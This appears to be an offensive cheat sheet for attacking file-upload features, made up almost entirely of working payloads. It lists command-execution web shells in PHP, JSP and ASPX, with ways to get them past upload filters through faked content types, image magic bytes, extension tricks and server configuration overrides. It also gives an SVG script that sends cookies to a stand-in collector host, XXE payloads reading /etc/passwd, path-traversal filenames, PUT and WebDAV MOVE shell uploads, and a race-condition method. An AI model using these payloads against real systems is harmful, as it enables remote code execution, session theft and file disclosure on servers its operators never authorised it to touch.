File Upload Cheat Sheet

# PHP
<?php system($_GET['c']); ?>
<?php echo shell_exec($_GET['c']); ?>
<?=`$_GET[0]`?>

<%-- JSP --%>
<%@ page import="java.util.*,java.io.*" %>
<%
  Process p = Runtime.getRuntime().exec(request.getParameter("c"));
  Scanner s = new Scanner(p.getInputStream()).useDelimiter("\\A");
  out.println(s.hasNext() ? s.next() : "");
%>

<%-- ASPX (returns command output) --%>
<%@ Page Language="C#" %>
<%
  var p = new System.Diagnostics.Process();
  p.StartInfo.FileName = "cmd.exe";
  p.StartInfo.Arguments = "/c " + Request["c"];
  p.StartInfo.UseShellExecute = false;
  p.StartInfo.RedirectStandardOutput = true;
  p.Start();
  Response.Write(p.StandardOutput.ReadToEnd());
%>

Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg          <-- lie here
 
<?php system($_GET['c']); ?>

GIF89a;<?php system($_GET['c']); ?>
\x89PNG\r\n\x1a\n<?php system($_GET['c']); ?>
\xFF\xD8\xFF\xE0  (JPEG/JFIF header, then payload in a comment segment)

shell.phtml  shell.php5  shell.phar  shell.pht    alternate PHP executables (NOT .phps, that shows source)
shell.php.jpg          double extension (lax/misconfigured handler runs the .php)
shell.pHp              case variation
# --- legacy only (old stacks) ---
shell.php%00.jpg       null byte (old PHP < 5.3.4)
shell.asp;.jpg         IIS6 semicolon truncation
shell.php.             trailing dot (old Windows strips it)
shell.php%20           trailing space
shell.aspx::$DATA      NTFS alternate data stream (IIS/Windows)

# .htaccess (Apache): treat .jpg as PHP
AddType application/x-httpd-php .jpg

<!-- web.config (IIS): add a handler for .jpg -->
<configuration><system.webServer><handlers>
  <add name="x" path="*.jpg" verb="*" modules="FastCgiModule"
       scriptProcessor="C:\php\php-cgi.exe" resourceType="Unspecified"/>
</handlers></system.webServer></configuration>

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

<svg xmlns="http://www.w3.org/2000/svg">
  <script>new Image().src='https://collector.example/?c='+document.cookie</script>
</svg>

<?xml version="1.0"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg"><text x="0" y="20">&xxe;</text></svg>

# .docx / .xlsx = a zip of XML. Inject an external entity into an internal part
# (e.g. word/document.xml), re-zip, upload, and read the entity back wherever
# that text renders.

filename="../../../../var/www/html/shell.php"
filename="..%2f..%2f..%2fshell.php"      (URL-encoded)
filename="..%252f..%252fshell.php"       (double-encoded)
filename="....//....//shell.php"         (beats a single-pass ../ strip)

# Enumerate methods first
OPTIONS /uploads/ HTTP/1.1
Host: target
 
# Raw write to the web root
PUT /uploads/shell.php HTTP/1.1
Host: target
Content-Length: 28
 
<?php system($_GET['c']); ?>
 
# If PUT only writes inert extensions, rename with WebDAV MOVE
MOVE /uploads/shell.txt HTTP/1.1
Host: target
Destination: /uploads/shell.php

Upload a shell, then hammer its URL in parallel with the upload so a read lands
in the gap between "written to disk" and "validated/deleted". A short-lived file
still executes if you request it fast enough.